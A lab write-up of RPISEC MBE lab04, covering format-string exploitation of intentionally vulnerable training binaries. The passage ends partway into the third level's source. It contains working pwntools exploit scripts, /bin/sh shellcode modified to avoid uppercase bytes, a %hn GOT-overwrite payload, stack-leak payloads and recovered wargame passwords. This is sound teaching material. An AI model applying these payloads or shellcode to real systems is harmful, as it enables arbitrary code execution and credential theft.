RPISEC/MBE: writeup lab04 (Format Strings)

In the last lab, which writeup can be found here, we used publicly available shellcodes as well as shellcodes we had to write on our own, in order to exploit the provided binaries. In this writeup we proceed with the next lab, which focuses on the subject of Format Strings.

As usual there are three levels ranging from C to A:
–> lab4C
–> lab4B
–> lab4A


lab4C

We start by connecting to the first level of lab04 using the credentials lab4C with the password lab04start:

gameadmin@warzone:~$ sudo ssh lab4C@localhost
lab4C@localhost's password: (lab04start)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------

Last login: Sat Jan 27 06:07:38 2018 from localhost

Like in the last labs we have access to the source code of each level:

lab4C@warzone:/levels/lab04$ cat lab4C.c
/*
 *   Format String Lab - C Problem
 *   gcc -z execstack -z norelro -fno-stack-protector -o lab4C lab4C.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PASS_LEN 30

int main(int argc, char *argv[])
{
    char username[100] = {0};
    char real_pass[PASS_LEN] = {0};
    char in_pass[100] = {0};
    FILE *pass_file = NULL;
    int rsize = 0;

    /* open the password file */
    pass_file = fopen("/home/lab4B/.pass", "r");
    if (pass_file == NULL) {
        fprintf(stderr, "ERROR: failed to open password file\n");
        exit(EXIT_FAILURE);
    }

    /* read the contents of the password file */
    rsize = fread(real_pass, 1, PASS_LEN, pass_file);
    real_pass[strcspn(real_pass, "\n")] = '\0';  // strip \n
    if (rsize != PASS_LEN) {
        fprintf(stderr, "ERROR: failed to read password file\n");
        exit(EXIT_FAILURE);
    }

    /* close the password file */
    fclose(pass_file);

    puts("===== [ Secure Access System v1.0 ] =====");
    puts("-----------------------------------------");
    puts("- You must login to access this system. -");
    puts("-----------------------------------------");

    /* read username securely */
    printf("--[ Username: ");
    fgets(username, 100, stdin);
    username[strcspn(username, "\n")] = '\0';    // strip \n

    /* read input password securely */
    printf("--[ Password: ");
    fgets(in_pass, sizeof(in_pass), stdin);
    in_pass[strcspn(in_pass, "\n")] = '\0';      // strip \n

    puts("-----------------------------------------");

    /* log the user in if the password is correct */
    if(!strncmp(real_pass, in_pass, PASS_LEN)){
        printf("Greetings, %s!\n", username);
        system("/bin/sh");
    } else {
        printf(username);
        printf(" does not have access!\n");
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}

What does the program do?
–> The file /home/lab4B/.pass is opened (line 22).
–> It’s contents are stored in a buffer called real_pass (line 29).
–> The user can input a username (lines 45-47) and a password (lines 50-52).
–> If the password matches the real password (line 57), a shell is spawned (line 59).
–> If the password does not match, printf is called with username (line 61).

As we already know because of the lab’s subject we are looking for some kind of format string vulnerability. A lot of c-functions (for example printf, fprintf and snprintf) use format strings. The count of arguments passed to those functions is variable:

char username[] = "admin";
int id = 1337;
printf("hello %s, your id is: %d\n", username, id);

In the example above, three arguments are passed to the function:

  1. The format string: "hello %s, your id is: %d\n"
  2. A string: username
  3. An integer: id

The function printf simply processes the format string looking for format specifiers. When a format specifier is found, it takes the first element following the format string on the stack and inserts this element in the format string according to the chosen format specifier. When the next format specifier is found, the second element from the stack is inserted:

lab4C@warzone:/tmp$ ./example
hello admin, your id is: 1337

If there would be another format specifier within the format string, the function would simply take the next element on the stack:

When we can control the format string, we can insert format specifiers which will leak elements stored on the stack.

In the code above on line 61 printf is called with the first argument (the format string) being a string the user provided (username). Thus we can use the username to leak items on the stack:

lab4C@warzone:/levels/lab04$ ./lab4C
===== [ Secure Access System v1.0 ] =====
-----------------------------------------
- You must login to access this system. -
-----------------------------------------
--[ Username: test%d
--[ Password: test
-----------------------------------------
test-1073744446 does not have access!
lab4C@warzone:/levels/lab04$

After entering test%d printf expects the next item on the stack to be an integer and inserts it into the string: test-1073744446.

As we already know, the password we are looking for is kindly stored in a local variable on the stack (real_pass). Thus we only need to leak enough items from the stack until the password is read.

Very hand for this task is the argument selector $. With $ the argument to be printed can be selected by its location on the stack:

#include <stdio.h>

int main() {
  char c1 = 'A';
  char c2 = 'B';
  char c3 = 'C';
  
  printf("%2$c %3$c %1$c\n", c1, c2, c3);
  
  return 0;
}

Running this example will print B, C, A instead of A, B, C:

lab4C@warzone:/levels/lab04$ ./example2
B C A

Because the local variable username is limited to 100 bytes we can write a python-script which iterates over all items on the stack running the program multiple times:

lab4C@warzone:/levels/lab04$ cat /tmp/exploit_lab4C.py
from pwn import *

for i in range(1, 40, 10):
  p = process("./lab4C")
  line = ""
  for j in range(10):
    line += "%"+str(i+j)+"$08x "

  p.sendline(line)
  p.sendline("pass")
  print(p.recv(2000))

The script runs the program 4 times, passing an format string (line 8, line 10) which prints 10 items on the stack each time. The format specifier %n$08x prints the n-th item on the stack as an hex-value (x) padded with leading zeros to fit 8 characters (08):

lab4C@warzone:/levels/lab04$ python /tmp/exploit_lab4C.py
[+] Starting program './lab4C': Done
[*] Program './lab4C' stopped with exit code 1
===== [ Secure Access System v1.0 ] =====
-----------------------------------------
- You must login to access this system. -
-----------------------------------------
--[ Username: --[ Password: -----------------------------------------
bffff5c2 0000001e 0804a008 61700000 00007373 00000000 00000000 00000000 00000000 00000000  does not have access!

[+] Starting program './lab4C': Done
[*] Program './lab4C' stopped with exit code 1
===== [ Secure Access System v1.0 ] =====
-----------------------------------------
- You must login to access this system. -
-----------------------------------------
--[ Username: --[ Password: -----------------------------------------
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000  does not have access!

[+] Starting program './lab4C': Done
[*] Program './lab4C' stopped with exit code 1
===== [ Secure Access System v1.0 ] =====
-----------------------------------------
- You must login to access this system. -
-----------------------------------------
--[ Username: --[ Password: -----------------------------------------
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 75620000 74315f37  does not have access!

[+] Starting program './lab4C': Done
[*] Program './lab4C' stopped with exit code 1
===== [ Secure Access System v1.0 ] =====
-----------------------------------------
- You must login to access this system. -
-----------------------------------------
--[ Username: --[ Password: -----------------------------------------
7334775f 625f376e 33745572 7230665f 62343363 00216531 24313325 20783830 24323325 20783830  does not have access!

We only need to extract the password from the local variable real_pass now. The output from the last two calls looks like ASCII:

00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 75620000 74315f37  does not have access!
7334775f 625f376e 33745572 7230665f 62343363 00216531 24313325 20783830 24323325 20783830  does not have access!

In the second line there is a null-byte terminating the string. The following python-script contains the concatenated bytes and converts these bytes from little endian to the final string:

lab4C@warzone:/levels/lab04$ cat /tmp/convertPwd_lab4C.py

pwd_le = "7562000074315f377334775f625f376e337455727230665f6234336300216531"

pwd  = ""

for i in range(0, len(pwd_le), 8):
  # the 4 byte values are stored in little endian
  pwd += pwd_le[i+6:i+8] + pwd_le[i+4:i+6] + pwd_le[i+2:i+4] + pwd_le[i:i+2]

print(pwd)
print(pwd.decode("hex"))

Running the script yields the password:

lab4C@warzone:/levels/lab04$ python /tmp/create_lab4C.py
00006275375f31745f7734736e375f62725574335f6630726333346231652100
bu7_1t_w4sn7_brUt3_f0rc34b1e!

Done πŸ™‚ The password for the next level is bu7_1t_w4sn7_brUt3_f0rc34b1e!.

We could use these credentials as the password input for the program in order to get a shell, but the password is all we need for now πŸ˜‰


lab4B

We connecting to the next level using the previously gained credentials lab4B with the password bu7_1t_w4sn7_brUt3_f0rc34b1e!:

gameadmin@warzone:~$ sudo ssh lab4B@localhost
lab4B@localhost's password: (bu7_1t_w4sn7_brUt3_f0rc34b1e!)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------
Last login: Sun Jan 21 15:08:34 2018 from localhost

And start analysing the provided source code:

lab4B@warzone:/levels/lab04$ cat lab4B.c
/*
 *   Format String Lab - B Problem
 *   gcc -z execstack -z norelro -fno-stack-protector -o lab4B lab4B.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    int i = 0;
    char buf[100];

    /* read user input securely */
    fgets(buf, 100, stdin);

    /* convert string to lowercase */
    for (i = 0; i < strlen(buf); i++)
        if (buf[i] >= 'A' && buf[i] <= 'Z')
            buf[i] = buf[i] ^ 0x20;

    /* print out our nice and new lowercase string */
    printf(buf);

    exit(EXIT_SUCCESS);
    return EXIT_FAILURE;
}

What does the program do?
–> On line 15 fgets is called, reading 100 bytes into a local variable called buf.
–> In the for-loop on lines 18-20 all upper-case characters are converted to lower-case.
–> The adjusted user input is printed using printf (line 23).

As well as in the last level we control a string which is passed as a format string to printf. This time the string is converted to lower-case before being passed to printf, but that should not do too much harm. The main difference compared to the last level is that the password we are looking for is unfortunately not stored in a local variable on the stack. Thus we cannot just leak the password.

In order to exploit the program another handy feature of format strings come into play: the format specifier %n. When placed in a format string %n will put the number of bytes printed so far in the variable passed as an argument on the stack:

#include <stdio.h>

int main() {
  unsigned int len = 0;
  
  printf("testing with%n n-specifier\n", &len);
  
  printf("bytes printed by last printf so far: %d\n", len);
  
  return 0;
  
}

Running the example:

lab4B@warzone:/tmp$ ./example
testing with n-specifier
bytes printed by last printf so far: 12

As we can see, the value 12 is written to the local variable len. 12 is the amount of characters being printed before the %n specifier: len("testing with") = 12.

This format specifier can be abused to write arbitrary data to an arbitrary address! We will get to this later.

At first we need to know where on the stack the buffer we can write to (buf) is located. This can be done by putting a pattern into the buffer, followed by a few format specifiers which leaks the stack:

lab4B@warzone:/levels/lab04$ ./lab4B
aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
aaaa.00000064.b7fcdc20.00000000.bffff704.bffff678.61616161.3830252e.30252e78.252e7838

The input begins with aaaa which equals 61616161 in hex. As we can see, the 6th item on the stack is the beginning of our buffer. We can verify this by using the argument selector:

lab4B@warzone:/levels/lab04$ ./lab4B
aaaa.%6$08x
aaaa.61616161

Thus the arguments on the stack looks like this when printf is entered:

As the stack is executable and we control a long enough buffer (100 byte), we can store a shellcode in this buffer. In lab03 we executed our shellcode by overwriting the return address on the stack. Reconsider the last lines of the source code:

    exit(EXIT_SUCCESS);
    return EXIT_FAILURE;
}

Before the main function returns exit is called. This will directly terminate the program and the return instruction never gets reached. Thus our shellcode gets not executed if we overwrite the return address. We have to write the address of our shellcode somewhere else.

In this case we can use the function call to exit in order to redirect the control flow. We do not want to get in the details for now. All you need to know is that function calls are made through the Procedure Linkage Table (PLT), which references the Global Offset Table (GOT):

[0x08048590]> pdf @ main
β•’ (fcn) sym.main 276
β”‚           ; DATA XREF from 0x080485a7 (entry0)
β”‚           ;-- main:
β”‚           ;-- sym.main:
β”‚           0x0804868d    55             push ebp
β”‚           0x0804868e    89e5           mov ebp, esp
...
β”‚           0x08048729    c70424000000.  mov dword [esp], 0
β”‚           0x08048730    e82bfeffff     call sym.imp.exit ;sym.imp.exit()
...

[0x080486a4]> pdf @ sym.imp.exit
β•’ (fcn) sym.imp.exit 6
β”‚          ; CALL XREF from 0x08048730 (sym.main)
β”‚          ;-- sym.imp.exit:
β”‚          0x08048560    ff25b8990408   jmp dword [reloc.exit_184]     ; "f...v......." @ 0x80499b8
[0x080486a4]>

As we can see in the output above, exit is called with the symbol sym.imp.exit (0x08048560). This address is the exit entry within the PLT and contains a jump to the address stored at reloc.exit_184, which is the GOT entry of exit. This means that, when exit is called, the execution will proceed at the address stored at reloc.exit_184 (0x80499b8).

If we write the address of our shellcode to that address, our shellcode will be executed when the function exit is called.

Summing it up we need to the following:
–> Store a shellcode in the buffer.
–> Abuse the %n specifier to write the address of our shellcode to the GOT entry of exit.

shellcode

Basically we can reuse the shellcode from lab03 which makes a sys_execve syscall passing /bin/sh as argument.

One point we have to consider is that the string we enter is converted to lower-case before being passed to printf. Thus our shellcode cannot contain bytes between 0x41 (A) and 0x5A (Z). So we have to adjust the shellcode we used a little bit:

31 c0                 xor    eax, eax
;50                    push   eax
83 ec 04              sub    esp, 0x4
89 04 24              mov    [esp], eax
68 2f 2f 73 68        push   0x68732f2f
68 2f 62 69 6e        push   0x6e69622f
89 e3                 mov    ebx, esp
89 c1                 mov    ecx, eax
89 c2                 mov    edx, eax
b0 0b                 mov    al, 0xb
cd 80                 int    0x80
31 c0                 xor    eax, eax
40                    inc    eax
cd 80                 int    0x80

The instruction push eax (0x50) would be converted to lower-case and thus be destroyed. As there are plenty ways of doing things on x86 we can simply replace this instruction with two new instructions: sub esp, 0x4 and mov [esp], eax. This will do the same as push eax.

%n specifier

As I have already mentioned, the %n specifier can be used to write arbitrary data to an arbitrary address. We will now see how this works and use this to write the address of our shellcode in the GOT entry of exit.

In the example earlier in this writeup, we have seen that %n expects an address to an unsigned integer and writes the count of characters printed so far to this address. As we have also seen, we can use the argument selector $ to select a specific argument. If the string we entered contains the address, we want to write to, we can simply select this address with argument selector $ and write the count of printed characters so far with the %n specifier.

So for now we can write to an arbitrary address. But how do we control what value we write? Since the count of characters printed are written, we must simply print as much characters as our value should be. This can be done easily by using the padding mechanism of a format string, we already used: the format specifier %8x pads the value to 8 characters. If we use %1000x the value is padded to 1000 characters.

We already determined the address where we want to write to (the GOT entry of exit): 0x80499b8.

We still need the address of our shellcode (the address of buf on the stack):

lab4B@warzone:/levels/lab04$ gdb lab4B
Reading symbols from lab4B...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0804868d <+0>:     push   ebp
   0x0804868e <+1>:     mov    ebp,esp
   0x08048690 <+3>:     push   ebx
   ...
   0x080486b0 <+35>:    lea    eax,[esp+0x18]
   0x080486b4 <+39>:    mov    DWORD PTR [esp],eax
   0x080486b7 <+42>:    call   0x8048540 <fgets@plt>
   ...
   0x08048729 <+156>:   mov    DWORD PTR [esp],0x0
   0x08048730 <+163>:   call   0x8048560 <exit@plt>
End of assembler dump.
gdb-peda$ b *main+42
Breakpoint 1 at 0x80486b7

As the buffer buf is passed as an argument to fgets we simply set a breakpoint before the call and inspect the stack when the breakpoint is hit:

gdb-peda$ r
Starting program: /levels/lab04/lab4B
[----------------------------------registers-----------------------------------]
EAX: 0xbffff6a8 --> 0xbffff6c0 --> 0xffffffff
EBX: 0xb7fcd000 --> 0x1a9da8
ECX: 0x859c4868
EDX: 0xbffff744 --> 0xb7fcd000 --> 0x1a9da8
ESI: 0x0
EDI: 0x0
EBP: 0xbffff718 --> 0x0
ESP: 0xbffff690 --> 0xbffff6a8 --> 0xbffff6c0 --> 0xffffffff
EIP: 0x80486b7 (<main+42>:      call   0x8048540 <fgets@plt>)
EFLAGS: 0x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80486a8 <main+27>: mov    DWORD PTR [esp+0x4],0x64
   0x80486b0 <main+35>: lea    eax,[esp+0x18]
   0x80486b4 <main+39>: mov    DWORD PTR [esp],eax
=> 0x80486b7 <main+42>: call   0x8048540 <fgets@plt>
   0x80486bc <main+47>: mov    DWORD PTR [esp+0x7c],0x0
   0x80486c4 <main+55>: jmp    0x8048709 <main+124>
   0x80486c6 <main+57>: lea    edx,[esp+0x18]
   0x80486ca <main+61>: mov    eax,DWORD PTR [esp+0x7c]
Guessed arguments:
arg[0]: 0xbffff6a8 --> 0xbffff6c0 --> 0xffffffff
arg[1]: 0x64 ('d')
arg[2]: 0xb7fcdc20 --> 0xfbad2088
[------------------------------------stack-------------------------------------]
0000| 0xbffff690 --> 0xbffff6a8 --> 0xbffff6c0 --> 0xffffffff
0004| 0xbffff694 --> 0x64 ('d')
0008| 0xbffff698 --> 0xb7fcdc20 --> 0xfbad2088
0012| 0xbffff69c --> 0x0
0016| 0xbffff6a0 --> 0xbffff754 --> 0xbde68c78
0020| 0xbffff6a4 --> 0xbffff6c8 --> 0xb7e2fbf8 --> 0x2aa0
0024| 0xbffff6a8 --> 0xbffff6c0 --> 0xffffffff
0028| 0xbffff6ac --> 0x80483a9 ("__libc_start_main")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080486b7 in main ()
gdb-peda$

The address 0xbffff6a8 is on top of the stack. This will be the address where we store our shellcode. Nevertheless we must remember that this address may vary when directly running the binary without gdb.

Finally we can write a python-script which will create the input to the program:

lab4B@warzone:/levels/lab04$ cat /tmp/exploit_lab4B.py
import sys
from pwn import *

shellcode = "\x31\xc0"\
            "\x83\xec\x04"\
            "\x89\x04\x24"\
            "\x68\x2f\x2f\x73\x68"\
            "\x68\x2f\x62\x69\x6e"\
            "\x89\xe3"\
            "\x89\xc1"\
            "\x89\xc2"\
            "\xb0\x0b"\
            "\xcd\x80"\
            # len = 28

exit_got  = 0x080499b8
addr_buf  = int(sys.argv[1], 16) # gdb: 0xbffff6a8

value_u2 = addr_buf >> 16
value_l2 = addr_buf & 0xffff

expl  = shellcode
expl += p32(exit_got+2) # upper bytes at higher address --> little endian!
expl += p32(exit_got)
expl += "%" + str(value_u2 - 28 - 8) + "x"
expl += "%13$hn"
expl += "%" + str(value_l2 - value_u2) + "x"
expl += "%14$hn"

sys.stdout.write(expl+"\n")

The following picture illustrates, how printf evaluates the string provided by the python-script:

The first 28 bytes of the user input is the shellcode we adjusted to overcome the lower-case conversion. The next 4 bytes are the address of the GOT entry of exit +2, followed by another 4 bytes which are the exact address of exit‘s GOT entry. This is done because we do not write all 8 bytes of our shellcode address at once, but 4 bytes at a time. This way we can limit the amount of characters we need to print. The only difference between the format specifier %hn and %n is that %hn expects an unsigned short (2 bytes) instead of an unsigned integer (4 bytes).

One important aspect is that we need to write the lower of both value first, because we can easily print more characters after the first value but not less.

Summing it up printf will:
–> Print the first 36 static characters (our shellcode + the 2 addresses).
–> Print the first element on the stack padded to 49115 characters.
–> Write the amount of characters printed so far (36+49115 = 49151 = 0xbfff) to address exit_got+2.
–> Print the second element on the stack padded to 13913 characters.
–> Write the amount of characters printed so far (49151+13913 = 63064 = 0xf658) to address exit_got.

As you may have noticed, I have already changed the address of our shellcode from 0xbffff6a8 to 0xbffff658 since the address determined using gdb varies a little bit from the address when directly executing the binary. In order to quickly test a few addresses, I have defined the shellcode address as an argument to the python script.

Now we only need to create the final input to the program:

lab4B@warzone:/levels/lab04$ python /tmp/exploit_lab4B.py 0xbffff658 > /tmp/out

And run the binary with that input:

lab4B@warzone:/levels/lab04$ (cat /tmp/out; cat) | ./lab4B
1β–’β–’β–’$h//shh/binβ–’β–’β–’Β°
                   Ν€β–’β–’                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         64                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 b7fcdc20
whoami
lab4A
cat /home/lab4A/.pass
fg3ts_d0e5n7_m4k3_y0u_1nv1nc1bl3

Done πŸ™‚ The password is fg3ts_d0e5n7_m4k3_y0u_1nv1nc1bl3.


lab4A

We connect to the last level of lab04 using the credentials lab4A with the password fg3ts_d0e5n7_m4k3_y0u_1nv1nc1bl3:

gameadmin@warzone:~$ sudo ssh lab4A@localhost
lab4A@localhost's password: (fg3ts_d0e5n7_m4k3_y0u_1nv1nc1bl3)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------

Last login: Mon Jan 22 03:50:48 2018 from localhost

As always we start by analysing the source code:

lab4A@warzone:/levels/lab04$ cat lab4A.c
/*
 *   Format String Lab - A Problem
 *   gcc -z execstack -z relro -z now -o lab4A lab4A.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

#define BACKUP_DIR "./backups/"
#define LOG_FILE "./backups/.log"

void
log_wrapper(FILE *logf, char *msg, char *filename)
{
    char log_buf[255];
    strcpy(log_buf, msg);
    snprintf(log_buf+strlen(log_buf), 255-strlen(log_buf)-1/*NULL*/, filename);
    log_buf[strcspn(log_buf, "\n")] = '\0';
    fprintf(logf, "LOG: %s\n", log_buf);
}

int
main(int argc, char *argv[])
{
    char ch = EOF;
    char dest_buf[100];
    FILE *source, *logf;
    int target = -1;

    if (argc != 2) {
        printf("Usage: %s filename\n", argv[0]);
    }

    // Open log file
